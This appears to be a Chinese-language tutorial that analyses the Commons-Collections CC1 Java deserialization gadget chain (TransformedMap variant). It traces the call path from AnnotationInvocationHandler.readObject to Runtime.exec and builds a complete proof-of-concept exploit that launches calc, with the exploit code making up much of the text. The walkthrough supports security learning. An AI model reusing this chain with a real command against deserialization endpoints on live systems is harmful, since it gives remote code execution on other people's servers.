Java反序列化Commons-Collections01-CC1链(TransformMap )
环境搭建
JDK8u71以上,这个漏洞已经被修复了
JDK8u65
下载地址
https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html
然后再pom.xml中添加以下代码
<dependencies>
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
配置Maven仓库
官网地址
https://maven.apache.org/
下载之后来到这个文件
然后再idea的设置中设置settings.xml的文件位置
看见左边多出了Maven的依赖环境,我们可以开始学习CC1链了
openJDK 8u65
https://hg.openjdk.org/jdk8u/jdk8u/jdk/archive/af660750b2f4.zip
下载好之后复制sun文件并把它复制到之前的jdk8u65的src文件中,再添加src的路径
这样子做的好处就是可以编译部分的class文件为java文件,可以进行断点调试
基础知识
Apache Commons Collections(简称 “Commons-Collections” 或 “CC”)是 Apache 基金会下的一个 Java 容器与工具库,目标是 扩展、补充并增强 JDK 自带的集合框架(java.util.*)。它从 2002 年开始发布,至今仍在维护,被无数开源/商业项目依赖(Hibernate、Spring、Struts、Flink、Spark、ElasticSearch …)。因为接口丰富、实现灵活,它也成了历史上最知名的一条反序列化利用链(CC1/CC2/CC3…)的源头。
Common-Collections包的结构
org.apache.commons.collections – CommonsCollections自定义的一组公用的接口和工具类
org.apache.commons.collections.bag – 实现Bag接口的一组类
org.apache.commons.collections.bidimap – 实现BidiMap系列接口的一组类
org.apache.commons.collections.buffer – 实现Buffer接口的一组类
org.apache.commons.collections.collection –实现java.util.Collection接口的一组类
org.apache.commons.collections.comparators– 实现java.util.Comparator接口的一组类
org.apache.commons.collections.functors –Commons Collections自定义的一组功能类
org.apache.commons.collections.iterators – 实现java.util.Iterator接口的一组类
org.apache.commons.collections.keyvalue – 实现集合和键/值映射相关的一组类
org.apache.commons.collections.list – 实现java.util.List接口的一组类
org.apache.commons.collections.map – 实现Map系列接口的一组类
org.apache.commons.collections.set – 实现Set系列接口的一组类
TransformMap版CC1攻击链分析
Gadget Chain
┌─────────────────────────────────────────┐
│AnnotationInvocationHandler.readObject │ ⬅ 反序列化入口
│ └─ memberValues.entrySet() │ ⬅ memberValues 是代理的 Map
│ └─ TransformedMap.setValue │ ⬅ 写 value 时触发
│ └─ valueTransformer.transform │ ⬅ InvokerTransformer
│ └─ Method.invoke │ ⬅ 反射执行 exec
└─────────────────────────────────────────┘
入口点-任意命令执行
可以看到InvokerTransformer中存在一个可以反射调用任意类,可以作为我们链子的终点。
先回顾一下之前的反射的命令执行的代码
import org.apache.commons.collections.functors.InvokerTransformer;
import java.lang.reflect.Method;
public class InvokeTransformerTest {
public static void main(String[] args) throws Exception{
Runtime runtime = Runtime.getRuntime();
Class c = Runtime.class;
Method method = c.getDeclaredMethod("exec", String.class);
method.setAccessible(true);
method.invoke(runtime, "calc");
}
}
这里通过getDeclaredMethod(String name, Class<?>... parameterTypes)这是Class类的一个方法,用于获取该类中声明的指定名称和参数类型的方法(包括私有方法,但不包括继承的方法)
动态地找到了Runtime.exec方法并执行了calc命令。
接下来再构造一个利用InvokerTransformer
类弹计算器的程序
所以这里对照上面的例子把对应的变量都替换,变成
public class InvokeTransformerTest {
public static void main(String[] args) throws Exception{
Runtime runtime = Runtime.getRuntime();
InvokerTransformer a =new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
a.transform(runtime);
}
}
就可以成功弹出计算器。
由于此反射执行的exec在transform
方法里所以我要去找调用transform
方法的不同名函数
寻找调用入口点的类
在项目和库内查找transform
方法的不同名函数
然后找到一个checkSetValue
类会调用transform
方法,返回了一个valueTransformer.transform(value);
,那我们就看一下valueTransformer是什么
由于TransformedMap
的构造方法作用域是projected,所以还要找一下谁调用了TransformedMap
看到这里有一个decorate
是public的且调用了TransformedMap
,那就尝试讲此类作为链子的开头,编写POC
public class InvokeTransformerTest {
public static void main(String[] args) throws Exception{
Runtime runtime = Runtime.getRuntime();
InvokerTransformer a =new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object,Object>map=new HashMap<>();
Map decoratemap=TransformedMap.decorate(map,null,a);
Class<TransformedMap> transformedMapClass=TransformedMap.class;
Method checkSetValueMethod=transformedMapClass.getDeclaredMethod("checkSetValue", Object.class);
checkSetValueMethod.setAccessible(true);
checkSetValueMethod.invoke(decoratemap,runtime);
}
}
成功。
简单理解一下这个链子的构造
首先明确我们最后要执行的点是
InvokerTransformer.transform
方法使其执行exec.calc弹出计算器,然后TransformedMap.checkSetValue
中就有transform
的调用,所以借checkSetValue
触发根据
TransformedMap.checkSetValue
一步步向上回溯,通过public方法decorate将已经构造好的InvokerTransformer传入TransformedMap,再通过TransformedMap自动传入valueTransformer,再通过checkSetValue的valueTransformer.transform(value)执行,所以说checkSetValueMethod.invoke(decoratemap, runtime); 这行代码,翻译成直接调用就是
decoratemap.checkSetValue(runtime); // 导致内部执行:
a.transform(runtime); // 导致内部执行:
runtime.exec("calc"); // 弹出计算器
一直在被转递的炸弹最终被引爆
就是这样由上至下传递。
到这里链子最终还是通过checkSetValue触发的,所以我们继续寻找调用了checkSetValue的方法
然后这里就看到了一个类 AbstractInputCheckedMapDecorator
.MapEntry
,它的setValue方法调用了checkSetValue
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
TransformedMap 类是 AbstractInputCheckedMapDecorator类的子类,所以子类可以调用父类的方法,然后写新的poc
public static void main(String[] args) throws Exception {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer a = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object,Object> hashMap=new HashMap<>();
hashMap.put("key","value");
Map<Object,Object> decorateMap=TransformedMap.decorate(hashMap, null, a);
for (Map.Entry entry:decorateMap.entrySet()){
entry.setValue(runtime);//setValue -> checkSetValue(Object value) -> transform(Object input)
}
}
所以到此为止,我们只需要找到一个readObject
里面调用了setValue()
方法就行了。
寻找调用构造链的readObject方法的入口类
继续跟进,最终在这里找到了调用了setValue方法的readObject类
发现这个在AnnotationInvocationHandler类中
TransformMap版CC1EXP
EXP构造
在理想情况下的exp
public class InvokeTransformerTest {
public static void main(String[] args) throws Exception {
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> map = new HashMap<>();
map.put("key", "value");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> aihConstructor = c.getDeclaredConstructor(Class.class, Map.class);
aihConstructor.setAccessible(true);
Object o = aihConstructor.newInstance(Override.class, transformedMap);
serialize(o);
unserialize("ser.bin");
}
//序列化与反序列化
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
其中 AnnotationInvocationHandler,我们这里构造了一个和它类型相同的类。
至于 Override.class是怎么来的,是因为 AnnotationInvocationHandler继承 Annotation接口
实际上 Annotation接口是注解的意思,所以我们可以用 Override.class (注解)放进 newInstance()实例化的第一个参数里面
第二个参数 transformedMap: 我们将之前准备好的“陷阱Map”传给了AIH的构造函数。AIH会将其保存为自己的成员变量 memberValues。
但是到这里仍然有三个问题需要解决
Runtime 对象不可序列化,需要通过反射将其变成可以序列化的形式。
setValue() 的传参,是需要传 Runtime 对象的;而在实际情况当中的 setValue() 的传参是这个东西
解决要进入 setValue 的两个 if 判断
解决Runtime对象不能序列化
Runtime是不能序列化的,但是Runtime.class可以序列化
先回顾一下普通的反射
package FinalEXP;
import java.lang.reflect.Method;
public class SolvedProblemRuntime {
public static void main(String[] args) throws Exception{
Class c = Runtime.class;
Method method = c.getMethod("getRuntime");
Runtime runtime = (Runtime) method.invoke(null, null);
Method run = c.getMethod("exec", String.class);
run.invoke(runtime, "calc");
}
}
所以我们这里把它改造成使用InvokerTransformer调用的方式
Method getruntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getruntimeMethod);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
发现可以正常调出计算器,说明反射代码调试成功。
其中
Method getruntimeMethod = (Method) new InvokerTransformer(
"getMethod", // 要调用的方法名
new Class[]{String.class, Class[].class}, // getMethod的参数类型
new Object[]{"getRuntime", null} // getMethod的参数值
).transform(Runtime.class); // 调用transform的输入:Runtime.class
等价于
Method getruntimeMethod = Runtime.class.getMethod("getRuntime", (Class[])null);
数据流与调用链为
输入: Runtime.class
|
V
InvokerTransformer1 (调用 getMethod) -> 输出: Method (getRuntime)
|
V
InvokerTransformer2 (调用 invoke) -> 输出: Runtime实例
|
V
InvokerTransformer3 (调用 exec) -> 输出: 执行成功(弹出计算器)
实际上我们还可以进行利用一个叫 ChainedTransformer的方法,进行简写刚刚的反射代码
这里的transform方法递归调用了前一个方法的结果,作为后一个方法的参数,所以我们这里这样写。
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);
将它与之前的链子结合一下
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class CC1Test {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(Runtime.class);
HashMap<Object, Object> map = new HashMap<>();
map.put("key", "value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> aihConstructor = c.getDeclaredConstructor(Class.class, Map.class);
aihConstructor.setAccessible(true);
Object o = aihConstructor.newInstance(Override.class, transformedMap);
serialize(o);
unserialize("ser.bin");
}
//序列化与反序列化
public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
现在运行exp代码肯定是不能生效的,主要有两点:
变量成员不能为空
通过绕过两个if,才能来到 setValue方法
这里打断点之后会发现直接跳出了并没有到setValue中去
绕过if
第一个if判断过不掉的原因是memberType为空了,让我们追溯一下这是什么东西
这里可以看到我们的成员变量是Override注解,然后它的成员变量是 null的
进入Override类一看,发现是空的
Ctrl + 鼠标键 点击 Target
来到了这里,Target也是注解的一个类,然后它的成员变量是value,所以我们可以用 Target.class 代替 Override.class
回去把 Override.class改成Target.class
Object o = aihConstructor.newInstance(Target.class, transformedMap);
但是调试发现这里还是null
这是因为 Target注解类它没有key这个键值,我们需要用value方法,才能让它识别
所以这里我们把exp代码改成
就会发现这里已经不再是null了
成功绕过if判断
最终exp
继续F7跟进来到这里
发现这是我们之前执行命令的一个点,但是setValue我们无法控制
在ConstantTransformer类中发现了 ConstantTransformer方法可以返回常量值,这个类里面也有transform方法,配合使用的话,也就说传入什么值 都可以调用 transform(value),从而调用 Runtime.class进行反射
添加这行代码就相当于做到了setValue要干的事
所以最终exp为
public class InvokeTransformerTest {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod"
, new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec"
, new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value","value");
Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class);
aihConstructor.setAccessible(true);
Object o = aihConstructor.newInstance(Target.class, transformedMap);
// 序列化反序列化
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
总结
😵